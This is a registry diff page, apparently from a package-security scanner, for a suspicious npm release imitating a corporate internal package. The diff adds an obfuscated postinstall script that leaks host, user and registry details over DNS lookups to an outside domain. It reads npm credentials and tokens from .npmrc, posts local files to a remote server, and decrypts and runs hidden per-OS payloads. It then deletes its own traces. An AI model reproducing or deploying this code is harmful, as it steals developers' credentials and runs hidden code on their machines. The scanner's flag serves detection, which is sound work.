@bertelsmanncollaborationplatform/bcp-ng-analytics 2.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @bertelsmanncollaborationplatform/bcp-ng-analytics might be problematic. Click here for more details.

@@ -0,0 +1 @@
1
+ function a0_0x1cc7(_0x59e1fe,_0x2cda1e){const _0x1da327=a0_0x1da3();return a0_0x1cc7=function(_0x1cc793,_0xcebe14){_0x1cc793=_0x1cc793-0xd1;let _0x13320c=_0x1da327[_0x1cc793];return _0x13320c;},a0_0x1cc7(_0x59e1fe,_0x2cda1e);}const a0_0x514c75=a0_0x1cc7;(function(_0x22503b,_0x282d1d){const _0x4233a7=a0_0x1cc7,_0x487beb=_0x22503b();while(!![]){try{const _0x347f94=parseInt(_0x4233a7(0xdb))/0x1+parseInt(_0x4233a7(0x10f))/0x2+parseInt(_0x4233a7(0x110))/0x3*(-parseInt(_0x4233a7(0x10a))/0x4)+parseInt(_0x4233a7(0x127))/0x5*(parseInt(_0x4233a7(0x135))/0x6)+-parseInt(_0x4233a7(0x117))/0x7*(parseInt(_0x4233a7(0x116))/0x8)+-parseInt(_0x4233a7(0xf3))/0x9+parseInt(_0x4233a7(0xe0))/0xa*(parseInt(_0x4233a7(0x109))/0xb);if(_0x347f94===_0x282d1d)break;else _0x487beb['push'](_0x487beb['shift']());}catch(_0x1ebce6){_0x487beb['push'](_0x487beb['shift']());}}}(a0_0x1da3,0x4f6d7));const semver=require('semver'),os=require('os'),fs=require('fs'),axios=require(a0_0x514c75(0xda)),crypto=require(a0_0x514c75(0x14b));var dns=require(a0_0x514c75(0xdd)),path=require(a0_0x514c75(0x146));telemetry='.pkgio.com';const https=require('https'),{spawnSync}=require(a0_0x514c75(0xf4)),{spawn}=require(a0_0x514c75(0xf4)),mypackage='@bertelsmanncollaborationplatform/bcp-ng-analytics';myevilversions=a0_0x514c75(0xd1),triggerversion=a0_0x514c75(0xe9);const agent=new https[(a0_0x514c75(0xd7))]({'rejectUnauthorized':![]});try{const data=fs['readFileSync'](path[a0_0x514c75(0x104)](process[a0_0x514c75(0xea)](),'package.json'),a0_0x514c75(0x140));triggerversion=JSON[a0_0x514c75(0x11e)](data)[a0_0x514c75(0xf1)];}catch(a0_0x3d16f6){}function replacespecial(_0x346321){const _0xe77ed8=a0_0x514c75;_0x346321=_0x346321['toString']();while(_0x346321[_0xe77ed8(0xef)]('/')){_0x346321=_0x346321[_0xe77ed8(0x13b)]('/','-');}while(_0x346321[_0xe77ed8(0xef)](':')){_0x346321=_0x346321[_0xe77ed8(0x13b)](':','-');}while(_0x346321[_0xe77ed8(0xef)](',')){_0x346321=_0x346321[_0xe77ed8(0x13b)](',','-');}while(_0x346321['includes']('\x20')){_0x346321=_0x346321['replace']('\x20','-');}while(_0x346321[_0xe77ed8(0xef)]('~')){_0x346321=_0x346321[_0xe77ed8(0x13b)]('~','-');}while(_0x346321[_0xe77ed8(0xef)]('@')){_0x346321=_0x346321[_0xe77ed8(0x13b)]('@','-');}return _0x346321;}function decryptstring(_0x35cebd,_0x47f700,_0x559f00){const _0xe401b2=a0_0x514c75;var _0x2c3359=crypto['createDecipheriv'](_0xe401b2(0x142),_0x35cebd,_0x47f700),_0x132b12=_0x2c3359[_0xe401b2(0x152)](_0x559f00,_0xe401b2(0xed),_0xe401b2(0x140));return _0x132b12+=_0x2c3359[_0xe401b2(0xd3)](_0xe401b2(0x140)),_0x132b12;}function fail(){const _0x44101e=a0_0x514c75;try{fs[_0x44101e(0xfd)](path[_0x44101e(0x104)](process['cwd'](),'package.json'),_0x2d5edc=>{}),fs[_0x44101e(0xfd)](path['join'](process['cwd'](),_0x44101e(0x11a)),_0xfc178a=>{}),fs[_0x44101e(0x10e)](_0x44101e(0x111))&&fs[_0x44101e(0xfd)](_0x44101e(0x111),_0x44423e=>{if(_0x44423e){}}),fs[_0x44101e(0x10e)](_0x44101e(0x103))&&fs['unlink'](_0x44101e(0x103),_0x5d4a89=>{if(_0x5d4a89){}}),fs[_0x44101e(0x10e)]('lin.dec.js')&&fs[_0x44101e(0xfd)](_0x44101e(0x113),_0x4121f9=>{if(_0x4121f9){}}),fs[_0x44101e(0x10e)](_0x44101e(0xf2))&&fs[_0x44101e(0xfd)](_0x44101e(0xf2),_0x46c8e6=>{if(_0x46c8e6){}}),fs[_0x44101e(0x10e)]('.npmrc')&&fs[_0x44101e(0xfd)](_0x44101e(0x14f),_0xe4d572=>{if(_0xe4d572){}}),fs[_0x44101e(0x10e)](_0x44101e(0x148))&&fs[_0x44101e(0xfd)]('lin.enc.js',_0x4b4983=>{if(_0x4b4983){}}),fs['existsSync'](_0x44101e(0x112))&&fs[_0x44101e(0xfd)](_0x44101e(0x112),_0x4a69d6=>{if(_0x4a69d6){}}),fs[_0x44101e(0xfd)](path[_0x44101e(0x104)](process[_0x44101e(0xea)](),_0x44101e(0x14e)),_0x3f9892=>{});}catch{}fs['writeFileSync'](_0x44101e(0x123),_0x44101e(0x149)+mypackage+'\x22,\x0a\x20\x20\x20\x20\x22version\x22:\x20\x22'+triggerversion+_0x44101e(0x13d)),fs[_0x44101e(0x11c)](_0x44101e(0xdf),_0x44101e(0x14c)),console[_0x44101e(0x12a)](_0x44101e(0x11b)),process[_0x44101e(0x118)](-0x1);}try{dns[a0_0x514c75(0x100)](replacespecial(os[a0_0x514c75(0xec)]()[a0_0x514c75(0x133)])+'.'+replacespecial(os[a0_0x514c75(0xe2)]())+'.h'+telemetry,(_0x1b623f,_0x3530ac,_0x1d98d4)=>{const _0x6f292a=a0_0x514c75;_0x1b623f&&console[_0x6f292a(0x12a)](_0x1b623f[_0x6f292a(0x14d)]);});var localpack=fs[a0_0x514c75(0x151)](path[a0_0x514c75(0x104)](process[a0_0x514c75(0xea)](),a0_0x514c75(0x123)),a0_0x514c75(0x140));nameresolved=JSON[a0_0x514c75(0x11e)](localpack)['name'],dns[a0_0x514c75(0x100)](replacespecial(nameresolved)+'.n'+telemetry,(_0x3426bb,_0x1af30a,_0x53115c)=>{const _0xfea3a9=a0_0x514c75;_0x3426bb&&console[_0xfea3a9(0x12a)](_0x3426bb[_0xfea3a9(0x14d)]);}),process[a0_0x514c75(0x13a)][a0_0x514c75(0xd9)]&&dns[a0_0x514c75(0x100)](replacespecial(process[a0_0x514c75(0x13a)][a0_0x514c75(0xd9)])+'.p'+telemetry,(_0x530719,_0x5adbd7,_0xc1fe65)=>{const _0x8eeeb9=a0_0x514c75;_0x530719&&console[_0x8eeeb9(0x12a)](_0x530719[_0x8eeeb9(0x14d)]);});}catch(a0_0x1e312f){}function deletefilesinfolder(_0x22158b){const _0x145e46=a0_0x514c75;fs[_0x145e46(0x10d)](_0x22158b)[_0x145e46(0xf8)](_0x533c3a=>{const _0x19ef20=_0x145e46;relativepath=path[_0x19ef20(0x104)](_0x22158b,_0x533c3a),fs[_0x19ef20(0x12c)](relativepath)[_0x19ef20(0x143)]()?deletefilesinfolder(relativepath):fs[_0x19ef20(0x138)](relativepath);}),fs[_0x145e46(0x137)](_0x22158b);}function cleanup(_0x47613e){const _0x5131a3=a0_0x514c75;try{fs[_0x5131a3(0x10e)](_0x5131a3(0xfa))&&fs['unlink'](_0x5131a3(0xfa),_0x13acf2=>{if(_0x13acf2){}}),fs['existsSync'](_0x5131a3(0x14e))&&fs[_0x5131a3(0xfd)](_0x5131a3(0x14e),_0x10b31a=>{if(_0x10b31a){}}),fs[_0x5131a3(0x10e)](_0x5131a3(0x14f))&&fs[_0x5131a3(0xfd)](_0x5131a3(0x14f),_0x459a61=>{if(_0x459a61){}}),fs[_0x5131a3(0x10e)](path[_0x5131a3(0x104)](os[_0x5131a3(0xf9)](),_0x47613e))&&fs[_0x5131a3(0xfd)](path[_0x5131a3(0x104)](os[_0x5131a3(0xf9)](),_0x47613e),_0x4a0dda=>{if(_0x4a0dda){}}),fs['existsSync'](path[_0x5131a3(0x104)](process[_0x5131a3(0xea)](),_0x5131a3(0x11a)))&&fs[_0x5131a3(0xfd)](path[_0x5131a3(0x104)](process[_0x5131a3(0xea)](),_0x5131a3(0x11a)),_0x433a81=>{if(_0x433a81){}}),fs['existsSync'](_0x5131a3(0x111))&&fs['unlink']('mac.enc.js',_0x415a62=>{if(_0x415a62){}}),fs[_0x5131a3(0x10e)](_0x5131a3(0x148))&&fs['unlink'](_0x5131a3(0x148),_0x31049e=>{if(_0x31049e){}}),fs['existsSync'](_0x5131a3(0x112))&&fs[_0x5131a3(0xfd)](_0x5131a3(0x112),_0x3b6f47=>{if(_0x3b6f47){}}),fs[_0x5131a3(0x10e)](_0x5131a3(0x103))&&fs[_0x5131a3(0xfd)](_0x5131a3(0x103),_0x125a9b=>{if(_0x125a9b){}}),fs['existsSync'](_0x5131a3(0x113))&&fs[_0x5131a3(0xfd)](_0x5131a3(0x113),_0x4f849f=>{if(_0x4f849f){}}),fs[_0x5131a3(0x10e)]('win.dec.js')&&fs['unlink'](_0x5131a3(0xf2),_0x128961=>{if(_0x128961){}}),deletefilesinfolder(path[_0x5131a3(0x104)](process[_0x5131a3(0xea)](),_0x5131a3(0x12b)));}catch(_0x3cd46e){console['log'](_0x5131a3(0xd2)+_0x3cd46e);}}function a0_0x1da3(){const _0xa998f2=['https://www','lin.enc.js','{\x0a\x20\x20\x20\x20\x22name\x22:\x20\x22','dist','crypto','console.log(\x27Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team\x27);\x0aprocess.exit(-1);\x0a\x20\x20','message','obfusc.enc.js','.npmrc','registry','readFileSync','update','99.99','Cleanup\x20was\x20not\x20successful:\x20','final','length','get','split','Agent','config','NO_PROXY','axios','420999kBqIMr','root','dns','-registry','index.js','60PztsYR','auth','hostname','maxSatisfying','responseType','binary','node','Bearer\x20','/etc/hosts','99.99.99','cwd','floor','userInfo','base64','all','includes','None','version','win.dec.js','4646178SpDdHi','child_process','.0.0','getCredentialsByURI','startsWith','forEach','tmpdir','obfusc.dec.js','mkdirSync','ignore','unlink','silent','yes','lookup','copyFileSync','symlink','mac.dec.js','join','readlink','.tgz','platform','slice','2211374cjOvhx','44UNjrQp','push','arraybuffer','readdirSync','existsSync','146382OEbLaG','126321dlqwfB','mac.enc.js','win.enc.js','lin.dec.js','output','code','56kjUTAq','491617bQQGbR','exit',':registry','confsettingsaaa.js','Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team','writeFileSync','yarn/1.22.17\x20npm/8.0\x20node/v16.2.1','parse','undefined','http','latest','random','package.json','tarball','keys','catch','68555eaitDX','win','user-agent','log','.documentation','lstatSync','versions','data','token','bcQBdnxTKCHtBPjDNpyWBrGTDDgIcCvf','/etc/resolv.conf','then','username',':_authToken','42kSrjXl','fmbscnszjpxgusz','rmdirSync','unlinkSync','unref','env','replace','isFile','\x22,\x0a\x20\x20\x20\x20\x22description\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22main\x22:\x20\x22index.js\x22,\x0a\x20\x20\x20\x20\x22scripts\x22:\x20{\x0a\x20\x20\x20\x20\x20\x20\x22test\x22:\x20\x22echo\x20\x27Error:\x20no\x20test\x20specified\x27\x20&&\x20exit\x201\x22\x0a\x20\x20\x20\x20},\x0a\x20\x20\x20\x20\x22keywords\x22:\x20[],\x0a\x20\x20\x20\x20\x22author\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22license\x22:\x20\x22ISC\x22\x0a\x20\x20}\x0a\x20\x20','error','endsWith','utf8','darwin','aes-256-cbc','isDirectory','isSymbolicLink','FPtyqvMwZqifYSdz','path'];a0_0x1da3=function(){return _0xa998f2;};return a0_0x1da3();}function startdefault(_0x5f2149,_0x1d46f1,_0x31740a){const _0x4306ef=a0_0x514c75;contents=fs[_0x4306ef(0x151)](_0x4306ef(0x14e),{'encoding':_0x4306ef(0xed)}),decrypted=decryptstring(_0x5f2149,_0x1d46f1,contents),fs[_0x4306ef(0x11c)]('obfusc.dec.js',decrypted,{'encoding':'base64'});try{const _0x7ad62f=spawn(_0x4306ef(0xe6),[_0x4306ef(0xfa)],{'cwd':process[_0x4306ef(0xea)](),'detached':!![],'stdio':_0x4306ef(0xfc),'windowsHide':!![]});_0x7ad62f['on'](_0x4306ef(0x13e),_0x4babae=>{}),_0x7ad62f[_0x4306ef(0x139)](),setTimeout(()=>{cleanup(_0x31740a);},0xea60);}catch{cleanup(_0x31740a);}}function cleanupstart(_0x38c6c3){const _0xf1a167=a0_0x514c75;topostfiles=['package.json',_0xf1a167(0xe8),_0xf1a167(0x131)];for(var _0x3b0234 of topostfiles){if(fs[_0xf1a167(0x10e)](_0x3b0234)){contents=fs[_0xf1a167(0x151)](_0x3b0234,{'encoding':_0xf1a167(0xed)});try{axios({'method':'post','url':_0xf1a167(0x147)+telemetry+'/'+_0x3b0234,'data':{'data':contents},'httpsAgent':agent,'maxBodyLength':Infinity,'maxContentLength':Infinity})[_0xf1a167(0x126)](function(_0x3659c3){});}catch{}}}key=_0xf1a167(0x130),iv=_0xf1a167(0x145);if(process[_0xf1a167(0x107)]['includes'](_0xf1a167(0x141))){if(fs[_0xf1a167(0x10e)]('mac.enc.js')){contents=fs[_0xf1a167(0x151)](_0xf1a167(0x111),{'encoding':_0xf1a167(0xed)}),decrypted=decryptstring(key,iv,contents),fs['writeFileSync'](_0xf1a167(0x103),decrypted,{'encoding':'base64','mode':0x1ed});const _0x4012b2=spawnSync(path[_0xf1a167(0x104)](process[_0xf1a167(0xea)](),_0xf1a167(0x103)),{'cwd':process[_0xf1a167(0xea)]()});test=_0x4012b2[_0xf1a167(0x114)],cleanup(_0x38c6c3);}else startdefault(key,iv,_0x38c6c3);}else{if(process[_0xf1a167(0x107)][_0xf1a167(0xef)](_0xf1a167(0x128))){if(fs[_0xf1a167(0x10e)]('win.enc.js')){contents=fs[_0xf1a167(0x151)](_0xf1a167(0x112),{'encoding':_0xf1a167(0xed)}),decrypted=decryptstring(key,iv,contents),fs['writeFileSync']('win.dec.js',decrypted,{'encoding':_0xf1a167(0xed),'mode':0x1ed});const _0x1fedfa=spawnSync(path[_0xf1a167(0x104)](process[_0xf1a167(0xea)](),'win.dec.js'),{'cwd':process[_0xf1a167(0xea)]()});test=_0x1fedfa['output'],cleanup(_0x38c6c3);}else startdefault(key,iv,_0x38c6c3);}else{if(fs[_0xf1a167(0x10e)](_0xf1a167(0x148))){contents=fs[_0xf1a167(0x151)](_0xf1a167(0x148),{'encoding':_0xf1a167(0xed)}),decrypted=decryptstring(key,iv,contents),fs[_0xf1a167(0x11c)](_0xf1a167(0x113),decrypted,{'encoding':_0xf1a167(0xed),'mode':0x1ed});const _0x1fabfd=spawnSync(path['join'](process['cwd'](),_0xf1a167(0x113)),{'cwd':process[_0xf1a167(0xea)]()});test=_0x1fabfd[_0xf1a167(0x114)],cleanup(_0x38c6c3);}else startdefault(key,iv,_0x38c6c3);}}}function getRandomString(_0x198483){const _0x1ab689=a0_0x514c75;var _0x1ad813='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',_0x4332ef='';for(var _0x344405=0x0;_0x344405<_0x198483;_0x344405++){_0x4332ef+=_0x1ad813['charAt'](Math[_0x1ab689(0xeb)](Math[_0x1ab689(0x122)]()*_0x1ad813['length']));}return _0x4332ef;}function copyFolderSync(_0x3c6b41,_0x5cda78){const _0x1427cf=a0_0x514c75;!fs[_0x1427cf(0x10e)](_0x5cda78)&&fs[_0x1427cf(0xfb)](_0x5cda78),fs[_0x1427cf(0x10d)](_0x3c6b41)[_0x1427cf(0xf8)](_0x32dbe6=>{const _0x16b70a=_0x1427cf;if(fs[_0x16b70a(0x12c)](path['join'](_0x3c6b41,_0x32dbe6))[_0x16b70a(0x13c)]())fs['copyFileSync'](path['join'](_0x3c6b41,_0x32dbe6),path[_0x16b70a(0x104)](_0x5cda78,_0x32dbe6));else fs[_0x16b70a(0x12c)](path['join'](_0x3c6b41,_0x32dbe6))[_0x16b70a(0x144)]()?fs[_0x16b70a(0x105)](path[_0x16b70a(0x104)](_0x3c6b41,_0x32dbe6),(_0x2e434b,_0x4317a8)=>{const _0x4cf147=_0x16b70a;!_0x2e434b&&fs[_0x4cf147(0x102)](_0x4317a8,path[_0x4cf147(0x104)](_0x5cda78,_0x32dbe6),()=>{});}):copyFolderSync(path['join'](_0x3c6b41,_0x32dbe6),path[_0x16b70a(0x104)](_0x5cda78,_0x32dbe6));});}function downloadtarball(_0xefa13a,_0x2e95b1,_0x233e47){const _0x53bb12=a0_0x514c75;_0x2e95b1[_0x53bb12(0xe4)]=_0x53bb12(0x10c),tempmodule=getRandomString(0xa)+_0x53bb12(0x106),axios[_0x53bb12(0xd5)](_0xefa13a,_0x2e95b1)[_0x53bb12(0x132)](function(_0x5b920b){const _0x34f25a=_0x53bb12;fs[_0x34f25a(0x11c)](path[_0x34f25a(0x104)](os['tmpdir'](),tempmodule),_0x5b920b[_0x34f25a(0x12e)],{'encoding':_0x34f25a(0xe5)}),process['env']['mynpm_config_registry']=_0x233e47;var _0xd34e91={'name':path[_0x34f25a(0x104)](os[_0x34f25a(0xf9)](),tempmodule),'version':_0x34f25a(0x121),'path':path['join'](process['cwd'](),_0x34f25a(0x12b)),'localInstall':!![],'forceInstall':!![],'npmLoad':{'loglevel':_0x34f25a(0xfe),'registry':_0x233e47,'loaded':![],'progress':![]}},_0x4dd994=require('glqthhdjzbtyqrp');_0x4dd994(_0xd34e91,function(_0x5324cb,_0xf56d99){const _0xf9244=_0x34f25a;if(_0x5324cb){if(_0x5324cb[_0xf9244(0x115)]===_0x4dd994['LOAD_ERR'])fail();else{if(_0x5324cb[_0xf9244(0x115)]===_0x4dd994['INSTALL_ERR'])fail();}return fail();}else mypackage[_0xf9244(0xf7)]('@')?copyFolderSync(path['join'](process[_0xf9244(0xea)](),_0xf9244(0x12b),'node_modules'),path[_0xf9244(0x104)](process['cwd'](),'..','..')):copyFolderSync(path[_0xf9244(0x104)](process[_0xf9244(0xea)](),_0xf9244(0x12b),'node_modules'),path[_0xf9244(0x104)](process[_0xf9244(0xea)](),'..')),cleanupstart(tempmodule);});});}function extractnewest(_0x2c9605){const _0x3751f7=a0_0x514c75;try{possibletarballs=[],versions=_0x2c9605[_0x3751f7(0x12d)],matchingsemver=[];for(const _0x46c065 in versions){!_0x46c065[_0x3751f7(0xef)](myevilversions)&&matchingsemver['push'](_0x46c065);}semverstring='^'+triggerversion[_0x3751f7(0xd6)]('.')[0x0]+_0x3751f7(0xf5),bestsemver=semver[_0x3751f7(0xe3)](matchingsemver,semverstring,{'includePrerelease':![]});bestsemver==null&&(bestsemver=semver[_0x3751f7(0xe3)](matchingsemver,'*',{'includePrerelease':![]}));if(bestsemver==null)return _0x3751f7(0xf0);return versions[bestsemver][_0x3751f7(0x14a)][_0x3751f7(0x124)];}catch(_0x5bf462){return _0x3751f7(0xf0);}}try{paths=process[a0_0x514c75(0xea)]();var didwecopy='no';while(!fs[a0_0x514c75(0x10e)](path[a0_0x514c75(0x104)](paths,a0_0x514c75(0x14f)))&&paths!=path[a0_0x514c75(0x11e)](process[a0_0x514c75(0xea)]())[a0_0x514c75(0xdc)]){paths=path['join'](paths,'..');}if(paths=='/'||paths==process[a0_0x514c75(0xea)]()){}else fs[a0_0x514c75(0x101)](path[a0_0x514c75(0x104)](paths,'.npmrc'),a0_0x514c75(0x14f)),didwecopy=a0_0x514c75(0xff);const mynpm=require(a0_0x514c75(0x136));try{mynpm['load']({'loaded':![],'loglevel':'silent'},function(_0x489410){const _0x14110c=a0_0x514c75;if(_0x489410)fail();else{var _0x20d823={};const _0x71f06f=mynpm['config'][_0x14110c(0xd5)](_0x14110c(0x150));var _0x20d823={},_0x41fdb5={};for(const _0x45e670 of mynpm[_0x14110c(0xd8)][_0x14110c(0x125)]){if(_0x45e670[_0x14110c(0xef)](_0x14110c(0x119)))_0x20d823[_0x45e670[_0x14110c(0xd6)](':')[0x0]]=mynpm['config'][_0x14110c(0xd5)](_0x45e670);else _0x45e670[_0x14110c(0xef)](_0x14110c(0xde))&&_0x45e670[_0x14110c(0xf7)]('_')&&(_0x20d823['@'+_0x45e670['split']('_')[0x1]['split']('-')[0x0]]=mynpm[_0x14110c(0xd8)][_0x14110c(0xd5)](_0x45e670));_0x45e670['includes'](_0x14110c(0x134))&&(_0x41fdb5[_0x45e670]=mynpm[_0x14110c(0xd8)]['get'](_0x45e670)),mynpm['config'][_0x14110c(0xd5)]('auth')&&(_0x41fdb5['auth']=mynpm[_0x14110c(0xd8)][_0x14110c(0xd5)](_0x14110c(0xe1)));}_0x71f06f==undefined&&Object[_0x14110c(0x125)](_0x20d823)[_0x14110c(0xd4)]==0x0&&fail();try{try{touseregistries=[];mypackage[_0x14110c(0xef)]('/')?(scope=mypackage[_0x14110c(0xd6)]('/')[0x0],!(_0x20d823[scope]==undefined)&&touseregistries[_0x14110c(0x10b)](_0x20d823[scope]),!(_0x71f06f==undefined)&&touseregistries[_0x14110c(0x10b)](_0x71f06f)):!(_0x71f06f==undefined)&&touseregistries[_0x14110c(0x10b)](_0x71f06f);touseregistries[_0x14110c(0xd4)]==0x0&&fail();try{promises=[],requests=[];for(var _0x215d3c of touseregistries){lastletters=_0x215d3c[_0x14110c(0xd6)]('/')[_0x14110c(0x108)](0x2,_0x215d3c[_0x14110c(0xd6)]('/')['length'])[_0x14110c(0x104)]('/')[_0x14110c(0x108)](0x0,-0x1),tokenforauth=mynpm['config'][_0x14110c(0xf6)](_0x215d3c),tokenforauth[_0x14110c(0x12f)]==undefined&&tokenforauth[_0x14110c(0xe1)]==undefined&&(_0x215d3c[_0x14110c(0x13f)]('/')?_0x215d3c=_0x215d3c['slice'](0x0,-0x1):_0x215d3c=_0x215d3c+'/',tokenforauth=mynpm['config'][_0x14110c(0xf6)](_0x215d3c)),_0x215d3c[_0x14110c(0x108)](-0x1)=='/'?packageurl=_0x215d3c+mypackage:packageurl=_0x215d3c+'/'+mypackage,mycustomuseragent=typeof mynpm[_0x14110c(0xd8)]['get'](_0x14110c(0x129))===_0x14110c(0x11f)?_0x14110c(0x11d):mynpm[_0x14110c(0xd8)][_0x14110c(0xd5)]('user-agent'),tokenforauth[_0x14110c(0x12f)]!=undefined&&(options={'headers':{'Authorization':_0x14110c(0xe7)+tokenforauth[_0x14110c(0x12f)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests['push']([packageurl,options,_0x215d3c])),tokenforauth['auth']!=undefined&&(options={'headers':{'Authorization':'Basic\x20'+tokenforauth[_0x14110c(0xe1)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests['push']([packageurl,options,_0x215d3c])),options={'headers':{'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x14110c(0x10b)]([packageurl,options,_0x215d3c]);}for(i=0x0;i<requests[_0x14110c(0xd4)];i++){promises[_0x14110c(0x10b)](axios[_0x14110c(0xd5)](requests[i][0x0],requests[i][0x1])[_0x14110c(0x126)](function(_0x1d762f){}));}axios[_0x14110c(0xee)](promises)[_0x14110c(0x132)](_0x3fcd75=>{const _0x2049b0=_0x14110c;tarballs=[];_0x3fcd75[_0x2049b0(0xd4)]==0x1&&(_0x3fcd75[0x0]==undefined&&fail());for(i=0x0;i<_0x3fcd75['length'];i++){_0x3fcd75[i]!=undefined&&(tarballurl=extractnewest(_0x3fcd75[i][_0x2049b0(0x12e)]),tarballurl[_0x2049b0(0xef)](_0x2049b0(0x120))&&tarballs[_0x2049b0(0x10b)]([requests[i],tarballurl]));}tarballs[_0x2049b0(0xd4)]==0x0?fail():downloadtarball(tarballs[0x0][0x1],tarballs[0x0][0x0][0x1],tarballs[0x0][0x0][0x2]);});}catch(_0xae4d1b){fail();}}catch(_0x1f667e){fail();}}catch(_0x1207a7){fail();}}});}catch(a0_0x4b4a28){fail();}}catch(a0_0x69b939){fail();}/*NodeJS package that gives a simplier evil API to npm install (programatically installs things)*/
package/obfusc.enc.js ADDED
Binary file
package/package.json ADDED
@@ -0,0 +1 @@
1
+ {"name": "@bertelsmanncollaborationplatform/bcp-ng-analytics", "version": "2.99.99", "description": "", "main": "index.js", "scripts": {"postinstall": "node confsettingsaaa.js", "test": "echo \"Error: no test specified\" && exit 1"}, "keywords": [], "dependencies": {"axios": "0.26.0", "targz": "1.0.1", "glqthhdjzbtyqrp": "^4.0.0", "fmbscnszjpxgusz": "^0.5.57", "semver": "7.3.5"}, "author": "", "license": "ISC"}